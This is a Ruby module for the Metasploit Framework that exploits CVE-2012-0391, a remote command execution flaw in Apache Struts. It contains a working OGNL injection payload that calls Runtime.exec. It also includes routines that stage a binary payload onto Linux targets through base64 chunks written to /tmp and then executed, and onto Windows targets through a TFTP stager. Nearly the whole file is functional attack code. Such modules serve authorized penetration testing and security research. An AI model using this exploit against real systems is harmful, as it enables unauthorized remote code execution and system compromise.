################################################################

# This file is part of the Metasploit Framework and may be subject to 

# redistribution and commercial restrictions. Please see the Metasploit 

# web site for more information on licensing and terms of use. 

#  http://metasploit.com/ 

################################################################ 

  
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote 

    Rank = ExcellentRanking 

  

    include Msf::Exploit::CmdStagerTFTP 

    include Msf::Exploit::Remote::HttpClient 

  

    def initialize(info = {}) 

        super(update_info(info, 

            'Name'           => 'Apache Struts <= 2.2.1.1 Remote Command Execution', 

            'Description'    => %q{ 

                    This module exploits a remote command execution vulnerability in

                Apache Struts versions < 2.2.1.1. This issue is caused because the 

                ExceptionDelegator interprets parameter values as OGNL expressions 

                during certain exception handling for mismatched data types of properties, 

                which allows remote attackers to execute arbitrary Java code via a 

                crafted parameter. 

            }, 

            'Author'         => 

                [ 

                    'Johannes Dahse', # Vulnerability discovery and PoC 

                    'Andreas Nusser', # Vulnerability discovery and PoC 

                    'juan vazquez', # Metasploit module 

                    'sinn3r' # Metasploit module 

                ], 

            'License'        => MSF_LICENSE, 

            'Version'        => '$Revision: $', 

            'References'     => 

                [ 

                    [ 'CVE', '2012-0391'], 

                    [ 'OSVDB', '78277'], 

                    [ 'EDB', '18329'], 

                    [ 'URL', 'https://www.sec-consult.com/files/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt'] 

                ], 

            'Platform'      => [ 'win', 'linux'], 

            'Privileged'     => true, 

            'Targets'        => 

                [ 

                    ['Windows Universal', 

                        { 

                                'Arch' => ARCH_X86, 

                                'Platform' => 'win'

                        } 

                    ], 

                    ['Linux Universal', 

                        { 

                                'Arch' => ARCH_X86, 

                                'Platform' => 'linux'

                        } 

                    ], 

                ], 

            'DisclosureDate' => 'Jan 06 2012', 

            'DefaultTarget' => 0)) 

  

            register_options( 

                [ 

                    Opt::RPORT(8080), 

                    OptString.new('TARGETURI', [ true, 'The path to a struts application action and the parameter to inject ie. /HelloWorldStruts2/hello?name=test&id=INJECT', ""]), 

                    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ]) 

                ], self.class) 

    end

   def execute_command(cmd, opts = {}) 

  

        uri = String.new(datastore['TARGETURI']) 

        uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\"))%2b'") if target['Platform'] == 'win'

        uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime@getRuntime().exec(\"CMD\".split(\"@\")))%2b'") if target['Platform'] == 'linux'

        uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd)) 

  

        vprint_status("Attempting to execute: #{cmd}") 

  

        resp = send_request_raw({ 

            'uri'     => uri, 

            'version' => '1.1', 

            'method'  => 'GET', 

        }, 5) 

   end

   def windows_stager 

        exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

  

        print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") 

        execute_cmdstager({ :temp => '.'}) 

        @payload_exe = payload_exe 

  

        print_status("Attempting to execute the payload...") 

        execute_command(@payload_exe) 

    end

   def linux_stager 

        cmds = "/bin/sh@-c@echo LINE | tee FILE"

        exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) 

        base64 = Rex::Text.encode_base64(exe) 

        base64.gsub!(/\=/, "\\u003d") 

        file = rand_text_alphanumeric(4+rand(4)) 

  

        execute_command("/bin/sh@-c@touch /tmp/#{file}.b64") 

        cmds.gsub!(/FILE/, "/tmp/" + file + ".b64") 

        base64.each_line do |line| 

            line.chomp! 

            cmd = cmds 

            cmd.gsub!(/LINE/, line) 

            execute_command(cmds) 

        end

  

        execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}") 

        execute_command("/bin/sh@-c@chmod +x /tmp/#{file}") 

        execute_command("/bin/sh@-c@rm /tmp/#{file}.b64") 

  

        execute_command("/bin/sh@-c@/tmp/#{file}") 

        @payload_exe = "/tmp/" + file 

    end

   def on_new_session(client) 

        if target['Platform'] == 'linux'

            print_status("Deleting #{@payload_exe} payload file") 

            execute_command("/bin/sh@-c@rm #{@payload_exe}") 

        else

            print_status("Windows does not allow running executables to be deleted") 

            print_status("Delete the #{@payload_exe} file manually after migrating") 

        end

    end

   def exploit 

        if not datastore['CMD'].empty? 

            print_status("Executing user supplied command") 

            execute_command(datastore['CMD']) 

            return

        end

  

        case target['Platform'] 

            when 'linux'

                linux_stager 

            when 'win'

                windows_stager 

            else

                raise RuntimeError, 'Unsupported target platform!'

        end

  

        handler 

    end

end